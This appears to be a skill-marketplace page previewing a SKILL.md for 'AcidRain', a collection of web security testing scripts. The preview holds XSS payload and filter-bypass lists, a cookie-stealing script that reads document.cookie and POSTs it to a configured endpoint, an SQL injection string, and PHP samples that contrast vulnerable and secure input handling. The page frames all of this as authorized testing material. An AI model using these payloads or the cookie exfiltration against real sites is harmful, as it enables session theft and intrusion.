Skip to main content

acidrain-security-testing-scripts

Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and hands-on learning.

설치로 이동

소스 정보

저장소
reason-machines/security-skills
최근 소스 활동
2026년 8월 4일 03:07
감지된 SKILL.md 언어
영어
스타
12
포크
1

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
acidrain-security-testing-scripts
description
Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and hands-on learning.
triggers
["test for XSS vulnerabilities with AcidRain","use AcidRain security scripts for injection testing","run AcidRain XSS analysis resources","set up AcidRain for web security research","demonstrate XSS payloads with AcidRain","analyze web application security with AcidRain scripts","configure AcidRain for authorized penetration testing","explore AcidRain JavaScript and PHP examples"]
# AcidRain Security Testing Scripts > Skill by [ara.so](https://ara.so) — Security Skills collection. AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing, hands-on learning, and controlled research. The project provides browser-side and server-side material organized for security researchers and developers conducting legitimate vulnerability assessments. ## Installation Clone the repository and navigate to the working directory: ```bash git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git cd acidrain-security-script-hub ``` The repository structure typically includes: ```text acidrain-security-script-hub/ ├── scripts/ │ ├── javascript/ # Client-side XSS and browser scripts │ ├── php/ # Server-side PHP examples │ └── xss/ # XSS payloads and injection samples ├── configs/ # Configuration files ├── examples/ # Demonstration code ├── docs/ # Documentation ├── LICENSE └── README.md ``` ## Project Purpose and Scope AcidRain provides: - **XSS Analysis Resources**: Payloads, vectors, and test cases for cross-site scripting research - **JavaScript Utilities**: Client-side scripts for browser-based security exercises - **PHP Resources**: Server-side examples for testing input validation and output encoding - **Injection Testing Samples**: Code demonstrating various injection techniques - **Research Snippets**: Compact, modifiable code fragments for controlled testing **Critical Authorization Requirement**: Only use these scripts against: - Applications you own or have explicit permission to test - Deliberately vulnerable training environments (e.g., DVWA, WebGoat) - Systems covered by a defined security testing agreement ## JavaScript XSS Resources ### Basic XSS Payload Structure JavaScript payloads typically follow patterns for testing input reflection and execution context: ```javascript // Simple alert-based XSS test <script>alert('XSS')</script> // Event handler injection <img src=x onerror=alert('XSS')> // DOM-based XSS <img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))"> // URL-based payload javascript:alert('XSS') ``` ### Advanced JavaScript Testing Utilities ```javascript // Cookie exfiltration test (for authorized testing only) // scripts/javascript/cookie-exfil-test.js (function() { const cookies = document.cookie; const testEndpoint = process.env.TEST_ENDPOINT; // Use environment variable // Log locally for educational purposes console.log('Cookie Test:', cookies); // In authorized testing, send to your controlled server if (testEndpoint) { fetch(testEndpoint, { method: 'POST', body: JSON.stringify({ cookies: cookies }), headers: { 'Content-Type': 'application/json' } }); } })(); ``` ### DOM Manipulation Analysis ```javascript // scripts/javascript/dom-xss-scanner.js /** * Identify potential DOM XSS sinks in authorized testing */ function scanDOMSinks() { const dangerousSinks = [ 'innerHTML', 'outerHTML', 'document.write', 'eval', 'setTimeout', 'setInterval' ]; const results = []; // Scan for dangerous DOM operations dangerousSinks.forEach(sink => { const elements = document.querySelectorAll('*'); elements.forEach(el => { if (el[sink] && typeof el[sink] !== 'function') { results.push({ sink: sink, element: el.tagName, content: el[sink] }); } }); }); return results; } // Usage in browser console during authorized testing console.log(scanDOMSinks()); ``` ### Input Reflection Detector ```javascript // scripts/javascript/reflection-detector.js /** * Test if user input is reflected in page output */ function testReflection(payload) { const testPayload = payload || `ACIDRAIN_TEST_${Date.now()}`; const url = new URL(window.location); // Test common reflection points const reflectionPoints = [ document.body.innerHTML, document.title, document.documentElement.outerHTML ]; const reflected = reflectionPoints.filter(point => point.includes(testPayload) ); return { payload: testPayload, reflected: reflected.length > 0, locations: reflected.length }; } // Test with URL parameter const urlParams = new URLSearchParams(window.location.search); if (urlParams.has('test')) { console.log(testReflection(urlParams.get('test'))); } ``` ## PHP Server-Side Resources ### Input Validation Testing ```php <?php // scripts/php/input-validation-test.php /** * Demonstrate vulnerable vs. secure input handling * For educational comparison in controlled environments */ // VULNERABLE EXAMPLE (for demonstration only) function vulnerableEcho($input) { echo "Vulnerable output: " . $input; } // SECURE EXAMPLE (recommended approach) function secureEcho($input) { echo "Secure output: " . htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } // Test both approaches $testInput = $_GET['input'] ?? '<script>alert("XSS")</script>'; echo "<h3>Vulnerable Version:</h3>"; // vulnerableEcho($testInput); // Commented for safety echo "<h3>Secure Version:</h3>"; secureEcho($testInput); ?> ``` ### SQL Injection Testing Framework ```php <?php // scripts/php/sql-injection-test.php /** * Demonstrate SQL injection vulnerabilities for authorized testing * Requires: PDO-enabled PHP with test database */ // Database connection using environment variables $dbHost = getenv('DB_HOST') ?: 'localhost'; $dbName = getenv('DB_NAME') ?: 'test_db'; $dbUser = getenv('DB_USER') ?: 'test_user'; $dbPass = getenv('DB_PASS') ?: ''; try { $pdo = new PDO("mysql:host=$dbHost;dbname=$dbName", $dbUser, $dbPass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { die("Connection failed: " . $e->getMessage()); } // VULNERABLE QUERY (demonstration only) function vulnerableQuery($pdo, $username) { $query = "SELECT * FROM users WHERE username = '$username'"; // DO NOT USE IN PRODUCTION // return $pdo->query($query); echo "Vulnerable Query: $query\n"; } // SECURE QUERY (recommended approach) function secureQuery($pdo, $username) { $query = "SELECT * FROM users WHERE username = :username"; $stmt = $pdo->prepare($query); $stmt->bindParam(':username', $username, PDO::PARAM_STR); $stmt->execute(); return $stmt; } // Test input $testUsername = $_GET['username'] ?? "admin' OR '1'='1"; echo "Testing with input: $testUsername\n\n"; vulnerableQuery($pdo, $testUsername); $result = secureQuery($pdo, $testUsername); ?> ``` ### File Upload Security Testing ```php <?php // scripts/php/file-upload-test.php /** * Test file upload security controls */ function analyzeUploadSecurity($file) { $results = []; // Check file extension $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif']; $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $results['extension_check'] = in_array($fileExtension, $allowedExtensions); // Check MIME type $allowedMimes = ['image/jpeg', 'image/png', 'image/gif']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); $results['mime_check'] = in_array($mimeType, $allowedMimes); // Check file size $maxSize = 2 * 1024 * 1024; // 2MB $results['size_check'] = $file['size'] <= $maxSize; // Check for double extensions $results['double_extension'] = strpos($file['name'], '.') !== strrpos($file['name'], '.'); return $results; } // Usage if ($_FILES['upload']) { $analysis = analyzeUploadSecurity($_FILES['upload']); print_r($analysis); } ?> ``` ## XSS Payload Collections ### Bypass Techniques ```javascript // scripts/xss/bypass-techniques.js // Filter bypass examples for authorized testing const xssPayloads = { // Case variation caseVariation: '<ScRiPt>alert("XSS")</sCrIpT>', // Encoding variations htmlEntity: '&lt;script&gt;alert("XSS")&lt;/script&gt;', urlEncoded: '%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E', doubleEncoded: '%253Cscript%253Ealert(%2522XSS%2522)%253C%252Fscript%253E', // Null byte injection nullByte: '<script\x00>alert("XSS")</script>', // Comment-based commentBreak: '<!--><script>alert("XSS")</script>', // Event handlers eventHandlers: [ '<img src=x onerror=alert("XSS")>', '<body onload=alert("XSS")>', '<svg onload=alert("XSS")>', '<input onfocus=alert("XSS") autofocus>', '<select onfocus=alert("XSS") autofocus>' ], // Protocol handlers protocols: [ '<a href="javascript:alert(\'XSS\')">Click</a>', '<a href="data:text/html,<script>alert(\'XSS\')</script>">Click</a>', '<a href="vbscript:msgbox(\'XSS\')">Click</a>' ], // DOM-based domBased: 'window.location.hash.slice(1)', // Template injection templateInjection: '{{7*7}}[[7*7]]' }; // Export for testing framework if (typeof module !== 'undefined' && module.exports) { module.exports = xssPayloads; } ``` ### Context-Specific Payloads ```javascript // scripts/xss/context-payloads.js const contextPayloads = { // HTML context htmlContext: [ '<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '<svg/onload=alert(1)>' ], // Attribute context attributeContext: [ '" onmouseover="alert(1)', '\' onmouseover=\'alert(1)', '"><script>alert(1)</script>' ], // JavaScript context jsContext: [ '\'-alert(1)-\'', '\";alert(1);//', '</script><script>alert(1)</script>' ], // URL context urlContext: [ 'javascript:alert(1)', 'data:text/html,<script>alert(1)</script>', 'http://example.com?param=<script>alert(1)</script>' ], // CSS context cssContext: [ 'expression(alert(1))', '</style><script>alert(1)</script>', 'background:url(javascript:alert(1))' ] }; ``` ## Configuration and Environment Setup ### Environment Variables Create a `.env` file for configuration (never commit this file): ```bash
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기